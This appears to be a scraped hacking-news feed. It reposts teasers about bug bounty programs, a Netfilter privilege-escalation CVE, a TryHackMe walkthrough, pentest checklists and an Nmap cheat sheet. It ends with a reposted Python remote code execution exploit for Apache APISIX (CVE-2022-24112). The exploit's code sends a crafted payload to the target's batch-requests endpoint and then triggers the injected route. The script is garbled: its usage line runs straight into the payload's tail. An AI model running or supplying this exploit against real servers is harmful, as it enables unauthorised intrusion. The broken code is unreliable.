About Fuji DAOContinue reading on Medium » (https://hatsfinance.medium.com/hats-finance-opens-new-bug-bounty-program-with-fuji-dao-7578b1ef5511?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Optimism Infinite Money Duplication Bugfix Review
https://medium.com/immunefi/optimism-infinite-money-duplication-bugfix-review-daa6597146a0?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

SummaryContinue reading on Immunefi » (https://medium.com/immunefi/optimism-infinite-money-duplication-bugfix-review-daa6597146a0?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hats Finance Opens New Bug Bounty Program with Fuji DAO

About Fuji DAOContinue reading on Medium »
Read more...

hacking: security in practice
Here is the direct download for the famous "The Art of Hacking" series

submitted by /u/charles3535
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How sites detects the second account

they understand even tho u change ur ip

submitted by /u/god_rays
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I wrote a blazing fast subdomain enumerator! (100.000 domains checked under 10 minutes!)

https://external-preview.redd.it/FB9W0Dwal8Iw2ulQ3D6QJhJwrsUFkpZ8CotttkHKzm8.jpg?width=640&crop=smart&auto=webp&s=83b6aade0ce675950909f76a54b72f08bdf26d59 submitted by /u/Esc4iCEscEsc
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Web hacking automation

I have a Dev background and I'm quite familiar with web hacking. Seeing these top hackers automating a ton, one question arise in mind, "What bugs are practically automatable". Everyone is automating subdomain takeovers it's easy to automate but what about Xss or SQLi? Are they automating those only checking URL parameters?

submitted by /u/crusader2409
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Blueprint-TryHackMe[CTF Walkthrough]

https://cdn-images-1.medium.com/max/2560/0*xV3fqQ87M7AnjwTV
Today I am going to walk you through a beginner level CTF challenge from TryHackMe “Blueprint”. The goal is simple,”Hack into this Windows…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Vulnerabilidad de escalamiento de privilegios en Netfilter (CVE-2022–25636)

https://cdn-images-1.medium.com/max/1490/0*b-vJheuGPJWxanFp
PUBLICADO EN 16 MARZO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
ASCII Double-Murder

https://cdn-images-1.medium.com/max/675/0*ASofe-dA8uB08Wjl.png
There are a million stories in the Naked Medium City. Let’s read two of them.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

The 7 Penetration Testing Steps & Phases: a Checklist

7 Steps and Phases of Penetration TestingContinue reading on Medium »
Read more...

The 7 Penetration Testing Steps & Phases: a Checklist
https://thenurhabib.medium.com/the-7-penetration-testing-steps-phases-a-checklist-73443cdd05c?source=rss------bug_bounty-5

7 Steps and Phases of Penetration TestingContinue reading on Medium » (https://thenurhabib.medium.com/the-7-penetration-testing-steps-phases-a-checklist-73443cdd05c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Nmap Cheat Sheet
https://thenurhabib.medium.com/nmap-cheat-sheet-9e7ef512f3b6?source=rss------bug_bounty-5

Full nmap cheat sheet with example.Continue reading on Medium » (https://thenurhabib.medium.com/nmap-cheat-sheet-9e7ef512f3b6?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Nmap Cheat Sheet

Full nmap cheat sheet with example.Continue reading on Medium »
Read more...

Exploit Collector
Apache APISIX 2.12.1 Remote Code Execution

https://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png
Apache APISIX version 2.12.1 suffers from a remote code execution vulnerability.

MD5 | 4f5cd36d308c98ca2784eef8f7d83a1e

Download
# Exploit Title: Apache APISIX 2.12.1 - Remote Code Execution (RCE)
# Date: 2022-03-16
# Exploit Author: Ven3xy
# Vendor Homepage: https://apisix.apache.org/
# Version: Apache APISIX 1.3 – 2.12.1
# Tested on: CentOS 7
# CVE : CVE-2022-24112
import requests
import sys

class color:
HEADER = '\033[95m'
IMPORTANT = '\33[35m'
NOTICE = '\033[33m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
RED = '\033[91m'
END = '\033[0m'
UNDERLINE = '\033[4m'
LOGGING = '\33[34m'
color_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING]
def banner():
run = color_random[6]+'''\n . ,
_.._ * __*\./ ___ _ \./._ | _ *-+-
(_][_)|_) |/'\ (/,/'\[_)|(_)| |
| |
\n'''
run2 = color_random[2]+'''\t\t(CVE-2022-24112)\n'''
run3 = color_random[4]+'''{ Coded By: Ven3xy | Github: https://github.com/M4xSec/ }\n\n'''
print(run+run2+run3)

if (len(sys.argv) != 4):
banner()
print("[!] Usage : ./apisix-exploit.py &160\\\\\\"\'); return true end"}',
},
],
}

response1 = requests.post(target_url+'apisix/batch-requests', headers=headers1, json=json_data, verify=False)

response2 = requests.get(target_url+'rms/fzxewh', headers=headers2, verify=False)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video